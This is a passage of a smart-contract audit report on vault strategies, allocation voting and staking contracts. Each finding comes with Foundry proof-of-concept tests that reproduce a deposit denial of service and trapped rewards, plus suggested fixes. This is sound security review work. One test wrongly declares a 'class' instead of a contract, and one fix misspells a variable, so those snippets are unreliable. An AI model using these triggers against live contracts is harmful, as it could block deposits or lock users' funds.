    console.log("  New shares minted:", vault.balanceOf(donationAddress) - dragonSharesAfterLoss);
}
```

```
Logs:
  Initial state:
    Price per share 1000000000000000000
    Dragon deposit: 10000000000000000000
  After loss report:
    Price per share 900000000000000000
    ^^^ PPS has dropped, which is expected
    Reported profit: 0
    Reported loss: 200000000000000000000
    Dragon shares after loss: 0
  After profit of 100e18:
    Price per share 900000000000000000
    ^^^ After profit PPS does not recover
    instead it mints dragon shares
    Reported profit: 100000000000000000000
    New shares minted: 111111111111111111111
```

Recommendation: Track uncovered losses, and on later profits, use those profits first to recover the losses before minting new shares to the `dragonRouter`, as described in the documentation.

3.2.4 Skimming Strategies return `uint256.max` for `maxDeposit`/`maxMint` during insolvency, causing `MultiStrategyVault` deposit DoS

Submitted by 0xImmortan

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: In `YieldSkimmingTokenizedStrategy`, when the strategy vault becomes insolvent, deposits and mints are blocked. However, `maxDeposit` and `maxMint` incorrectly return `uint256.max`. If this strategy is the target of auto-allocation in a `MultiStrategyVault`, new deposits revert. This results in a denial-of-service where users cannot deposit into the `MultiVault`, even though the `MultiVault` should be able to keep funds idle.

Finding Description: When a `YieldSkimmingTokenizedStrategy` becomes insolvent, deposits are blocked. However, its `maxDeposit` and `maxMint` functions fall back to the default `BaseStrategy` implementation, which always returns `uint256.max`.

When a user calls `MultiStrategyVault::deposit`, the assets first enter the MultiVault. If autoAllocate is enabled, the vault calls `DebtManagementLib::updateDebt` to forward the funds into the strategy at the top of the allocation queue. This function checks the strategy's maxDeposit to determine if the allocation is possible.

Because the insolvent `YieldSkimming` strategy incorrectly signals unlimited capacity (`uint256.max`), `updateDebt` attempts to deposit. The deposit then reverts due to insolvency. As a result, all deposits into the `MultiVault` revert as long as auto-allocation is enabled and the insolvent `YieldSkimming` strategy remains in the queue.

Excerpt from `DebtManagementLib::updateDebt`:

```
else {
    // We are increasing the strategies debt

    // Respect the maximum amount allowed.
    vars.maxDebt = strategies[strategy].maxDebt;
    if (vars.newDebt > vars.maxDebt) {
        vars.newDebt = vars.maxDebt;
        // Possible for current to be greater than max from reports.
        if (vars.newDebt < vars.currentDebt) {
            result.newDebt = vars.currentDebt;
            return result;
        }
```

```
    }

    // Vault is increasing debt with the strategy by sending more funds.
    vars.maxDeposit = IERC4626Payable(strategy).maxDeposit(address(this)); // <<<
    if (vars.maxDeposit == 0) {
        result.newDebt = vars.currentDebt;
        return result;
    }

    // Deposit the difference between desired and current.
    vars.assetsToDeposit = vars.newDebt - vars.currentDebt; // <<<
    if (vars.assetsToDeposit > vars.maxDeposit) {
        // Deposit as much as possible.
        vars.assetsToDeposit = vars.maxDeposit;
    }

    // Ensure we always have minimum_total_idle when updating debt.
    if (vars.totalIdle <= vars.minimumTotalIdle) {
        result.newDebt = vars.currentDebt;
        return result;
    }

    vars.availableIdle = vars.totalIdle - vars.minimumTotalIdle;

    // If insufficient funds to deposit, transfer only what is free.
    if (vars.assetsToDeposit > vars.availableIdle) {
        vars.assetsToDeposit = vars.availableIdle;
    }

    // Can't Deposit 0.
    if (vars.assetsToDeposit > 0) { // <<<
        // Approve the strategy to pull only what we are giving it.
        ERC20SafeApproveLib.safeApprove(vars.asset, strategy, vars.assetsToDeposit);

        // Always update based on actual amounts deposited.
        vars.preBalance = IERC20(vars.asset).balanceOf(address(this));
        IERC4626Payable(strategy).deposit(vars.assetsToDeposit, address(this)); // <<<
        //...//
    }
    //...//
}
```

Path explanation:

1. `MultiStrategyVault` is created with Lido YieldSkimming Strategy plugged to it.
2. Auto-allocation is enabled on this strategy.
3. User deposits 100 wstETH at 1 ETH/wstETH into the `MultiStrategyVault`.
4. These 100 wstETH are fully allocated to the Lido strategy.
5. ETH/wstETH conversion ratio increases to 1.5.
6. Lido strategy keeper calls `report`.
7. 50e18 shares are minted to the dragon router.
8. ETH/wstETH conversion ratio drops back to 1.
9. Lido strategy becomes insolvent.
10. User tries to deposit again into MultiStrategyVault → transaction reverts.

Impact Explanation: High: Causes a DoS on deposits into the `MultiStrategyVault`, breaking a core functionality of the protocol.

Likelihood Explanation: Low: For such a thing to happen strategy vualt would have to become insolvent, conversion rate would have to decrease so a massive slashing on Lido/rocket pool would have to happen.

Proof of Concept: Test Setup:

- The proof-of-concept builds on the existing setup for Lido Strategy located in `test/integration/strategies/YieldSkimming/LidoStrategy.t.sol`.
- Any modifications made to adapt this setup for the PoC are explicitly marked with "Added for PoC".

- For integrating the `MultiVault`, I took inspiration from `test/integration/core/vaults/DepositAndWithdraw.t.sol` and incorporated the relevant changes into the setup.
- To simulate increases and decreases in the conversion rate, I reused the same approach as in `test_profitThenLoss_dragonSharesBurnCorrectly` from test/`integration/strategies/YieldSkimming/LidoStrategy.t.sol`.

Add the following proof of concept in the folder `test/integration/core/vaults`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import { Test } from "forge-std/Test.sol";
import { console2 } from "forge-std/console2.sol";
import { MockERC20 } from "test/mocks/MockERC20.sol";
import { LidoStrategy } from "src/strategies/yieldSkimming/LidoStrategy.sol";
import { LidoStrategyFactory } from "src/factories/LidoStrategyFactory.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { ITokenizedStrategy } from "src/core/interfaces/ITokenizedStrategy.sol";
import { YieldSkimmingTokenizedStrategy } from
↪  "src/strategies/yieldSkimming/YieldSkimmingTokenizedStrategy.sol";
import { IERC4626 } from "@openzeppelin/contracts/interfaces/IERC4626.sol";
import { WadRayMath } from "src/utils/libs/Maths/WadRay.sol";
import { IBaseStrategy } from "src/core/interfaces/IBaseStrategy.sol";
import { IYieldSkimmingStrategy } from "src/strategies/yieldSkimming/IYieldSkimmingStrategy.sol";
import { console } from "forge-std/console.sol";

////////////////////////////////////////////////////////////////
//////////////////////  Added for PoC  //////////////////////
// multiVault
import { MultistrategyVault } from "src/core/MultistrategyVault.sol";
import { IMultistrategyVault } from "src/core/interfaces/IMultistrategyVault.sol";
import { MultistrategyVaultFactory } from "src/factories/MultistrategyVaultFactory.sol";
//////////////////////  Added for PoC  //////////////////////
////////////////////////////////////////////////////////////////

/// @title Lido Test
/// @author Octant
/// @notice Integration tests for the Lido strategy using a mainnet fork
contract LidoStrategyTest is Test {
    using SafeERC20 for ERC20;
    using WadRayMath for uint256;

    ////////////////////////////////////////////////////////////////
    //////////////////////  Added for PoC  //////////////////////
    // multiVault
    MultistrategyVault multiVaultImplementation;
    MultistrategyVaultFactory multiVaultFactory;
    MultistrategyVault multiVault;
    address gov;
    //////////////////////  Added for PoC  //////////////////////
    ////////////////////////////////////////////////////////////////

    // Strategy instance
    LidoStrategy public strategy;
    ITokenizedStrategy public vault;

    // Factory for creating strategies
    YieldSkimmingTokenizedStrategy tokenizedStrategy;
    LidoStrategyFactory public factory;

    // Strategy parameters
    address public management;
    address public keeper;
    address public emergencyAdmin;
    address public donationAddress;
    string public vaultSharesName = "Lido Vault Shares";
    bytes32 public strategySalt = keccak256("TEST_STRATEGY_SALT");
    YieldSkimmingTokenizedStrategy public implementation;

    // Test user
    address public user = address(0x1234);

    // Mainnet addresses
    address public constant WSTETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
```

```
address public constant TOKENIZED_STRATEGY_ADDRESS = 0x8cf7246a74704bBE59c9dF614ccB5e3d9717d8Ac;

// Test constants
uint256 public constant INITIAL_DEPOSIT = 100000e18; // WSTETH has 18 decimals
uint256 public mainnetFork;
uint256 public mainnetForkBlock = 22508883 - 6500 * 90; // latest alchemy block - 90 days

// Setup parameters struct to avoid stack too deep
struct SetupParams {
    address management;
    address keeper;
    address emergencyAdmin;
    address donationAddress;
    string vaultSharesName;
    bytes32 strategySalt;
    address implementationAddress;
    bool enableBurning;
}

/**
 * @notice Helper function to airdrop tokens to a specified address
 * @param _asset The ERC20 token to airdrop
 * @param _to The recipient address
 * @param _amount The amount of tokens to airdrop
 */
function airdrop(ERC20 _asset, address _to, uint256 _amount) public {
    uint256 balanceBefore = _asset.balanceOf(_to);
    deal(address(_asset), _to, balanceBefore + _amount);
}

function setUp() public {
    // Create a mainnet fork
    // NOTE: This relies on the RPC URL configured in foundry.toml under [rpc_endpoints]
    // where mainnet = "${ETHEREUM_NODE_MAINNET}" environment variable
    mainnetFork = vm.createFork("mainnet");
    vm.selectFork(mainnetFork);

    // Etch YieldSkimmingTokenizedStrategy
    implementation = new YieldSkimmingTokenizedStrategy{ salt: keccak256("OCT_YIELD_SKIMMING_STRATEGY_V1")
    ↪  }();
    bytes memory tokenizedStrategyBytecode = address(implementation).code;
    vm.etch(TOKENIZED_STRATEGY_ADDRESS, tokenizedStrategyBytecode);

    // Now use that address as our tokenizedStrategy
    tokenizedStrategy = YieldSkimmingTokenizedStrategy(TOKENIZED_STRATEGY_ADDRESS);

    // Set up addresses
    management = address(0x1);
    keeper = address(0x2);
    emergencyAdmin = address(0x3);
    donationAddress = address(0x4);

    // Create setup params to avoid stack too deep
    SetupParams memory params = SetupParams({
        management: management,
        keeper: keeper,
        emergencyAdmin: emergencyAdmin,
        donationAddress: donationAddress,
        vaultSharesName: vaultSharesName,
        strategySalt: strategySalt,
        implementationAddress: address(implementation),
        enableBurning: true
    });

    // Deploy factory
    factory = new LidoStrategyFactory();

    // Deploy strategy using the factory's createStrategy method
    vm.startPrank(params.management);
    address strategyAddress = factory.createStrategy(
        params.vaultSharesName,
        params.management,
        params.keeper,
        params.emergencyAdmin,
        params.donationAddress,
        params.enableBurning,
```

```
        params.implementationAddress
    );
    vm.stopPrank();

    // Cast the deployed address to our strategy type
    strategy = LidoStrategy(strategyAddress);
    vault = ITokenizedStrategy(address(strategy));

    // Airdrop WSTETH tokens to test user
    airdrop(ERC20(WSTETH), user, INITIAL_DEPOSIT);

    // Approve strategy to spend user's tokens
    vm.startPrank(user);
    ERC20(WSTETH).approve(address(strategy), type(uint256).max);
    vm.stopPrank();

    ////////////////////////////////////////////////////////////////
    //////////////////////  Added for PoC  //////////////////////

    // Deploy multiVault
    // Add Lido strategy
    multiVaultImplementation = new MultistrategyVault();
    gov = makeAddr("gov");
    vm.startPrank(gov);
    multiVaultFactory = new MultistrategyVaultFactory("Test Factory", address(multiVaultImplementation),
    ↪  gov);
    multiVault = MultistrategyVault(
        multiVaultFactory.deployNewVault(WSTETH, "Test multiVault", "vTST", gov, 7 days)
    );

    multiVault.addRole(gov, IMultistrategyVault.Roles.DEPOSIT_LIMIT_MANAGER);
    multiVault.addRole(gov, IMultistrategyVault.Roles.ADD_STRATEGY_MANAGER);
    multiVault.addRole(gov, IMultistrategyVault.Roles.DEBT_MANAGER);
    multiVault.addRole(gov, IMultistrategyVault.Roles.MAX_DEBT_MANAGER);

    multiVault.setDepositLimit(type(uint256).max, true);
    multiVault.setAutoAllocate(true);
    multiVault.addStrategy(address(strategy), true);
    multiVault.updateMaxDebtForStrategy(address(strategy), type(uint256).max);
    vm.stopPrank();
    //////////////////////  Added for PoC  //////////////////////
    ////////////////////////////////////////////////////////////////
}

/// @notice Test that the strategy is properly initialized
function testInitializationLido() public view {
    assertEq(IERC4626(address(strategy)).asset(), WSTETH, "Yield vault address incorrect");
    assertEq(vault.management(), management, "Management address incorrect");
    assertEq(vault.keeper(), keeper, "Keeper address incorrect");
    assertEq(vault.emergencyAdmin(), emergencyAdmin, "Emergency admin incorrect");
    assertGt(
        IYieldSkimmingStrategy(address(strategy)).getCurrentExchangeRate(),
        0,
        "Last reported exchange rate should be initialized"
    );
}

////////////////////////////////////////////////////////////////
//////////////////////  Added for PoC  //////////////////////
// Test is inspired by test_profitThenLoss_dragonSharesBurnCorrectly from
↪  test/integration/strategies/YieldSkimming/LidoStrategy.t.sol

function test_PoC() public {
    uint256 depositAmount = 100e18; // 100 WSTETH
    uint256 initialRate = 1e18; // initial conversion rate ETH/wstETH
    uint256 increasedRate = (1e18 * 15) / 10; // 1.5x rate

    // Set loss limit to allow for the rate drop from 1.5 to 1.0 (33% loss)
    vm.startPrank(management);
    strategy.setLossLimitRatio(5000); // 50% loss limit
    vm.stopPrank();

    // Set conversion rate to 1.0
    vm.mockCall(WSTETH, abi.encodeWithSignature("stEthPerToken()"), abi.encode(initialRate));

    // User deposit assets
```

```
        vm.startPrank(user);
        // approve the strategy to spend the user's tokens
        ERC20(WSTETH).approve(address(multiVault), depositAmount);
        multiVault.deposit(depositAmount, user);
        vm.stopPrank();

        assertEq(multiVault.totalAssets(), depositAmount, "MultiVault should receive the 100 wstETH");
        assertEq(multiVault.totalIdle(), 0, "There should be no Idle assets in the multiVault");
        assertEq(
            multiVault.strategies(address(strategy)).currentDebt,
            depositAmount,
            "Lido Strategy current debt should be equal to 100 wstETH"
        );
        assertEq(vault.totalAssets(), depositAmount, "All assets should be deployed to the strategy");

        // Increase conversion rate to 1.5
        vm.clearMockedCalls();
        vm.mockCall(WSTETH, abi.encodeWithSignature("stEthPerToken()"), abi.encode(increasedRate));

        // call report on Lido strategy - Should mint dragon shares
        vm.startPrank(keeper);
        (uint256 profit, ) = vault.report();
        vm.stopPrank();
        uint256 dragonShares = vault.balanceOf(donationAddress);

        assertEq(profit, 3333333333333333333, "Should report 33.333e18 profit");
        assertEq(dragonShares, 50e18, "Dragon shares should be 50e18");

        // rate drops back to 1 - strategy is now insolvent
        vm.clearMockedCalls();
        vm.mockCall(WSTETH, abi.encodeWithSignature("stEthPerToken()"), abi.encode(initialRate));

        // maxDeposit on strategy will be type(uint256).max whereas it is not possible to deposit as vault is
        ↪  insolvent
        assertEq(
            type(uint256).max,
            vault.maxDeposit(address(multiVault)),
            "max deposit is always equal to type(unit256).max"
        );
        assertEq(IYieldSkimmingStrategy(address(vault)).isVaultInsolvent(), true, "Vault should be insolvent");

        // Impossible to deposit in multivault because Lido strategy auto allocation is blocking it
        vm.startPrank(user);
        ERC20(WSTETH).approve(address(multiVault), depositAmount);
        vm.expectRevert(bytes("Cannot operate when vault is insolvent"));
        multiVault.deposit(depositAmount, user);
        vm.stopPrank();
    }
    ////////////////////////  Added for PoC  ////////////////////////
    ////////////////////////////////////////////////////////////////////////
}
```

Recommendation: Update the following functions in `YieldSkimmingTokenizedStrategy`:

```
function maxDeposit(address receiver) public view override returns (uint256) {
    StrategyData storage S = _strategyStorage();
-    if (receiver == S.dragonRouter) {
+    if (receiver == S.dragonRouter || _isVaultInsolvent()) {
        return 0;
    }
    return super.maxDeposit(receiver);
}

/**
    * @notice Get the maximum amount of shares that can be minted by a user
    * @dev Returns 0 for dragon router as they cannot mint
    * @param receiver The address that would receive the shares
    * @return The maximum mint amount
    */
function maxMint(address receiver) public view override returns (uint256) {
    StrategyData storage S = _strategyStorage();
-    if (receiver == S.dragonRouter) {
+    if (receiver == S.dragonRouter || _isVaultInsolvent()) {
        return 0;
    }
```

```
    return super.maxMint(receiver);
}
```

3.2.5 Same receiver cannot be used after proposal cancelation

Submitted by BengalCatBalu, also found by Cheatc0d3, trachev, didy, ibrahimatix0x01 and Bizarro

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: According to the `propose` function, a recipient can only be used in a single proposal.

```
function propose(
        address recipient,
        string calldata description
    ) external whenNotPaused nonReentrant returns (uint256 pid) {
        address proposer = msg.sender;

        // Call hook for validation - Potential DoS risk - malicious keeper/management contracts could revert
        ↪  these calls
        if (!IBaseAllocationStrategy(address(this)).beforeProposeHook(proposer)) revert
        ↪  ProposeNotAllowed(proposer);


        if (recipient == address(0) || recipient == address(this)) revert InvalidRecipient(recipient);

        AllocationStorage storage s = _getStorage();

        // Proposing only allowed before voting period ends
        if (block.timestamp > s.votingEndTime) {
            revert VotingEnded(block.timestamp, s.votingEndTime);
        }

        if (s.recipientUsed[recipient]) revert RecipientUsed(recipient);
        if (bytes(description).length == 0) revert EmptyDescription();
        if (bytes(description).length > 1000) revert DescriptionTooLong(bytes(description).length, 1000);

        pid = ++s.proposalIdCounter;

        s.proposals[pid] = Proposal(0, proposer, recipient, description, false);
        s.recipientUsed[recipient] = true;

        emit ProposalCreated(pid, proposer, recipient, description);
    }
```

The `cancelProposal` function also cancels a specific proposal.

```
function cancelProposal(uint256 pid) external nonReentrant {
    AllocationStorage storage s = _getStorage();

    // Prevent cancellation after finalization - proposals become immutable
    if (s.tallyFinalized) revert TallyAlreadyFinalized();

    if (!IBaseAllocationStrategy(address(this)).validateProposalHook(pid)) revert InvalidProposal(pid);

    Proposal storage p = s.proposals[pid];
    if (msg.sender != p.proposer) revert NotProposer(msg.sender, p.proposer);
    if (p.canceled) revert AlreadyCanceled(pid);

    p.canceled = true;
    emit ProposalCanceled(pid, p.proposer);
}
```

However, `cancelProposal` does not reset the `recipientUsed` mapping - therefore, it will be impossible to create a new proposal for this recipient.

Impact Explanation: Because the recipient restriction is enforced directly in `TokenizedAllocationMechanism` rather than via hooks, it cannot be customized or bypassed by different voting mechanisms. As a result, canceling a proposal permanently blocks that recipient in every implementation, making the issue systemic.

Remediation: Add `receipentUsed[receipent] = false` to cancel proposal.

3.3 Low Risk

3.3.1 Use two-step governance transfer & Missing events

Submitted by 0x4non, also found by winnerz and minos

Severity: Low Risk

Context: MultistrategyLockedVault.sol#L279-L281

Description: The function `setRegenGovernance(address _regenGovernance)` performs a single-step transfer of a critical role and does not emit any event. This creates several operational and monitoring risks.

Recommendation: Adopt a two-step transfer (propose/accept) with explicit events and input validation:

- Add `pendingRegenGovernance`.
- Require the new address to accept before activation.
- Emit events for request, acceptance, and (optionally) cancellation.

3.3.2 `RegenStaker`: zero-deposit signup mechanisms are blocked (incompatibility with `TokenizedAllocationMechanism`)

Submitted by 0xmechanic

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Summary: `RegenStakerBase.contribute()` requires `_amount > 0`, which prevents Regen users from signing up to zero-deposit allocation mechanisms even though the shared `TokenizedAllocationMechanism` (and the sponsor's commentary) explicitly allows and expects zero-deposit signups for some variants (e.g., certain QV/QF patterns). This creates a functional mismatch: direct users of the mechanism can register with zero deposit, but Regen users cannot.

Finding Description: Root cause `RegenStakerBase::contribute`:

```
function contribute(
    DepositIdentifier _depositId,
    address _allocationMechanismAddress,
    uint256 _amount,
    uint256 _deadline,
    uint8 _v,
    bytes32 _r,
    bytes32 _s
) public virtual whenNotPaused nonReentrant returns (uint256 amountContributedToAllocationMechanism) {
    _checkWhitelisted(sharedState.contributionWhitelist, msg.sender);
    require(_amount > 0, ZeroOperation());
```

This design forces a positive `_amount` and therefore an ERC-20 transfer/approval path before forwarding the signup to the allocation mechanism.

On the contrary the mechanism behavior is such that it allows zero-deposit signups:

The shared implementation (`TokenizedAllocationMechanism`) allows `deposit == 0` at signup. The mechanism hook used in the supplied Quadratic Voting Mechanism maps voting power from `deposit` but does not revert when `deposit == 0`; voting power is simply 0.

The sponsor explicitly stated in the Cantina review in issue 3.3.10:

> There are possible mechanisms where zero deposit signups make sense ... Rather than revert at the common implementation level, behavior is left to the signup hook ...

Meaning zero-deposit signups are to be expected.

In `QuadraticVotingVoterJourneyTest::testVoterRegistration_VariousDeposits`, (and other tests) the mechanism explicitly accepts a zero-deposit signup (establishing this as an expected flow). In the integration suite, the same `QuadraticVotingMechanism` is wired to `RegenStakerBase`, so Regen users would reasonably expect identical behavior, yet their zero-deposit signup via `contribute` reverts due to `require(_amount > 0)`, creating a clear mismatch between direct mechanism usage and the Regen path.

RegenStaker docs only state that the allocation mechanisms should be whitelisted and "New mechanisms should undergo comprehensive security audit, integration testing, and governance review before whitelisting" but do not state that zero-deposit mechanisms are not supported.

Impact Explanation: The issue prevents Regen stakers from participating (via the Regen path) in a class of explicitly expected mechanisms (zero-deposit signup). If governance whitelists a mechanism that intends zero-deposit signups (e.g., where users need to first signup and only transfer funds when the voting begins), direct callers can register with `deposit == 0`, but Regen users cannot, because `RegenStakerBase.contribute()` reverts on `_amount == 0`.

Likelihood Explanation: Medium: Zero-deposit signup mechanisms are not hypothetical, the team's tests show them, and the sponsor acknowledged their validity. If such a mechanism is whitelisted, Regen users will routinely hit this revert path when trying to sign up with 0.

Severity discussion: Depends on product intent:

- If Regen is intended to support zero-deposit signup mechanisms (as the sponsor comment and tests suggest), this is a functional break: Regen users cannot exercise a supported flow that direct mechanism users can. That's Low → Medium impact depending on how often such mechanisms are whitelisted.
- If Regen is intentionally not meant to support zero-deposit signups, then this is a spec/docs mismatch (behavior contradicts examples and tests) and should be Informational, but not rejected, because the exclusion is never stated explicitly.

Given the available evidence (sponsor acknowledging zero-deposit signups + test coverage showing them), I'm classifying this as Low for now.

Proof of Concept: Paste the following test in contract `RegenIntegrationTest`. Here we show that Regen users are not able to signup with zero deposit to the Quadratic voting mechanism, while in the unit tests for the same mechanism such signups are expected.

```
function test_Contribute_WithZeroAmount_Revert() public {
    _clearTestContext();

    // Setup
    currentTestCtx.stakeAmount = getStakeAmount(1000);
    currentTestCtx.rewardAmount = getRewardAmount(10000);
    currentTestCtx.contributeAmount = getRewardAmount(0); // Much smaller amount to match partial voting period
    ↪  accumulation

    //  CORRECT: Fetch absolute timeline from contract
    uint256 deploymentTime = block.timestamp; // When mechanism will be deployed
    currentTestCtx.allocationMechanism = _deployAllocationMechanism();
    uint256 votingDelay = TokenizedAllocationMechanism(currentTestCtx.allocationMechanism).votingDelay();
    uint256 votingPeriod = TokenizedAllocationMechanism(currentTestCtx.allocationMechanism).votingPeriod();
    uint256 votingStartTime = deploymentTime + votingDelay;
    uint256 votingEndTime = votingStartTime + votingPeriod;

    // Advance to allow signup (startBlock + votingDelay period)
    vm.roll(block.number + 5);

    whitelistUser(alice, true, true, true);

    // Fund and stake
    stakeToken.mint(alice, currentTestCtx.stakeAmount);
    rewardToken.mint(address(regenStaker), currentTestCtx.rewardAmount);

    vm.startPrank(alice);
    stakeToken.approve(address(regenStaker), currentTestCtx.stakeAmount);
    currentTestCtx.depositId = regenStaker.stake(currentTestCtx.stakeAmount, alice);
    vm.stopPrank();

    // Notify rewards
    vm.prank(ADMIN);
    regenStaker.notifyRewardAmount(currentTestCtx.rewardAmount);

    // Warp to voting period and ensure sufficient rewards have accrued
    // Warp to near end of voting period to accumulate maximum rewards
    uint256 timeInVotingPeriod = votingEndTime - (votingPeriod / 10); // 90% through voting period
    vm.warp(timeInVotingPeriod);

    console.log("Voting start:", votingStartTime);
```

```
    console.log("Voting end:", votingEndTime);
    console.log("Current time:", block.timestamp);
    console.log("Time in voting period?", block.timestamp >= votingStartTime && block.timestamp <=
    ↪  votingEndTime);

    // Verify alice has unclaimed rewards
    currentTestCtx.unclaimedBefore = regenStaker.unclaimedReward(currentTestCtx.depositId);
    assertGt(
        currentTestCtx.unclaimedBefore,
        currentTestCtx.contributeAmount,
        "Alice should have sufficient unclaimed rewards"
    );

    // Create EIP-2612 signature for TokenizedAllocationMechanism
    currentTestCtx.nonce = TokenizedAllocationMechanism(currentTestCtx.allocationMechanism).nonces(alice);
    currentTestCtx.deadline = block.timestamp + 1 hours;
    currentTestCtx.netContribution = currentTestCtx.contributeAmount; // No fees in this test

    currentTestCtx.digest = _getSignupDigest(
        currentTestCtx.allocationMechanism,
        alice,
        address(regenStaker),
        currentTestCtx.netContribution,
        currentTestCtx.nonce,
        currentTestCtx.deadline
    );
    (currentTestCtx.v, currentTestCtx.r, currentTestCtx.s) = _signDigest(currentTestCtx.digest,
    ↪  ALICE_PRIVATE_KEY);

    // Give Alice tokens and approve for the expected flow
    rewardToken.mint(alice, currentTestCtx.netContribution);
    vm.startPrank(alice);
    rewardToken.approve(currentTestCtx.allocationMechanism, currentTestCtx.netContribution);

    // Call contribute function
    vm.expectRevert(abi.encodeWithSelector(RegenStakerBase.ZeroOperation.selector));
    currentTestCtx.actualContribution = regenStaker.contribute(
        currentTestCtx.depositId,
        currentTestCtx.allocationMechanism,
        currentTestCtx.contributeAmount,
        currentTestCtx.deadline,
        currentTestCtx.v,
        currentTestCtx.r,
        currentTestCtx.s
    );
    vm.stopPrank();
}
```

Recommendation: Allow a zero-amount signup guarded by the same whitelists. Remove

```
require(_amount > 0, ZeroOperation());
```

and replace it with:

```
if (_amount == 0) {
    // No transfers/approvals; just forward the signed registration
    TokenizedAllocationMechanism(_allocationMechanismAddress).signupOnBehalfWithSignature(
        msg.sender, 0, _deadline, _v, _r, _s
    );
    return 0;
}
```

3.3.3 Trapped dust rewards in `RegenStakerBase`

Submitted by YanecaB

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Summary: In `RegenStakerBase`, small reward amounts less than or equal to the configured claim fee can become permanently locked in the contract, inaccessible to both the user and the fee collector.

Finding Description: The `contribute` and `_claimReward` functions in `RegenStakerBase` are designed to prevent claims where the user would receive no net benefit after fees. They do this by checking if the claimable reward amount is less than or equal to `claimFeeParameters.feeAmount`. If it is, the functions return `0`, and no state change occurs.

This creates a scenario where "dust" rewards can become trapped. If a user's final accrued reward for a deposit is a small amount that is less than or equal to the fee, they can never withdraw it. The funds will remain locked in the contract indefinitely as neither the user can claim them nor can the fee be collected.

Impact Explanation: This issue leads to a permanent loss of funds for users. While individual amounts might be small, the aggregate locked value could become significant over time across many deposits, undermining the protocol's promise that users can access all their earned rewards and the fee collector loses these funds.

Likelihood Explanation: The likelihood of this occurring is high. It is a natural outcome for users who withdraw their principal stake, leaving a small, non-zero amount of accrued rewards. If a non-zero claim fee is configured, any such residual amount below the fee threshold will be permanently trapped.

Proof of Concept:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

/// @title MockRegenStaker
/// @notice A simplified mock of RegenStakerBase to demonstrate the stuck rewards vulnerability.
/// @dev This contract isolates the logic where rewards <= fee cannot be claimed or contributed,
///      leading to permanently locked funds.
contract MockRegenStaker {
    using SafeERC20 for IERC20;

    struct Deposit {
        address owner;
        uint96 balance;
    }

    struct ClaimFeeParameters {
        uint256 feeAmount;
        address feeCollector;
    }

    IERC20 public immutable REWARD_TOKEN;
    ClaimFeeParameters public claimFeeParameters;

    mapping(bytes32 => Deposit) public deposits;
    mapping(bytes32 => uint256) public unclaimedRewards;
    uint256 public depositCounter;

    event StakeDeposited(address indexed depositor, bytes32 indexed depositId, uint256 amount);
    event RewardAdded(bytes32 indexed depositId, uint256 amount);
    event RewardClaimed(bytes32 indexed depositId, address indexed claimer, uint256 amount);
    event RewardContributed(bytes32 indexed depositId, address indexed contributor, uint256 amount);

    constructor(IERC20 _rewardToken) {
        REWARD_TOKEN = _rewardToken;
    }

    function setClaimFeeParameters(uint256 _feeAmount, address _feeCollector) external {
        claimFeeParameters = ClaimFeeParameters({feeAmount: _feeAmount, feeCollector: _feeCollector});
    }

    function stake(uint256 amount) external returns (bytes32 depositId) {
        depositId = keccak256(abi.encodePacked(msg.sender, depositCounter++));
        deposits[depositId] = Deposit({owner: msg.sender, balance: uint96(amount)});
        emit StakeDeposited(msg.sender, depositId, amount);
    }

    function addRewards(bytes32 depositId, uint256 amount) external {
        require(deposits[depositId].owner != address(0), "Deposit not found");
        REWARD_TOKEN.safeTransferFrom(msg.sender, address(this), amount);
        unclaimedRewards[depositId] += amount;
        emit RewardAdded(depositId, amount);
```

```
    }

    function claimReward(bytes32 depositId) external returns (uint256) {
        Deposit storage deposit = deposits[depositId];
        require(deposit.owner == msg.sender, "Not owner");

        uint256 reward = unclaimedRewards[depositId];
        uint256 fee = claimFeeParameters.feeAmount;

        // VULNERABILITY: If reward is non-zero but <= fee, it returns 0 and the
        // funds remain locked in the contract, as they can never be claimed.
        if (reward <= fee) {
            return 0;
        }

        unclaimedRewards[depositId] = 0;

        uint256 netReward = reward - fee;

        if (fee > 0) {
            REWARD_TOKEN.safeTransfer(claimFeeParameters.feeCollector, fee);
        }
        REWARD_TOKEN.safeTransfer(msg.sender, netReward);

        emit RewardClaimed(depositId, msg.sender, netReward);
        return netReward;
    }

    function contribute(bytes32 depositId, uint256 amount) external returns (uint256) {
        Deposit storage deposit = deposits[depositId];
        require(deposit.owner == msg.sender, "Not owner");
        require(amount <= unclaimedRewards[depositId], "Insufficient rewards");

        uint256 fee = claimFeeParameters.feeAmount;

        // VULNERABILITY: Same logic as claimReward. If the contribution amount
        // is <= fee, the function does nothing, trapping the funds.
        if (amount <= fee) {
            return 0;
        }

        unclaimedRewards[depositId] -= amount;

        uint256 netAmount = amount - fee;

        if (fee > 0) {
            REWARD_TOKEN.safeTransfer(claimFeeParameters.feeCollector, fee);
        }
        // In a real scenario, netAmount would go to an allocation mechanism.
        // Here, we just transfer it to the contributor to simulate consumption.
        REWARD_TOKEN.safeTransfer(msg.sender, netAmount);

        emit RewardContributed(depositId, msg.sender, netAmount);
        return netAmount;
    }
}
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import {MockERC20} from "solmate/test/utils/mocks/MockERC20.sol";
import {MockRegenStaker} from "./MockRegenStaker.sol";

/// @title PoC for Stuck Rewards in RegenStakerBase
/// @notice This test demonstrates that if unclaimed rewards are less than or equal to the
///         claim fee, the funds become permanently locked in the contract.
class StuckRewardsTest is Test {
    MockRegenStaker internal staker;
    MockERC20 internal rewardToken;

    address internal user = makeAddr("user");
    address internal feeCollector = makeAddr("feeCollector");
    bytes32 internal depositId;

    function setUp() public {
```

```
        // 1. Deploy contracts
        rewardToken = new MockERC20("Reward Token", "RWD", 18);
        staker = new MockRegenStaker(rewardToken);

        // 2. Mint reward tokens to the user
        rewardToken.mint(user, 1_000_000 * 1e18);

        // 3. User stakes and gets a depositId
        vm.startPrank(user);
        depositId = staker.stake(1);
        vm.stopPrank();
    }

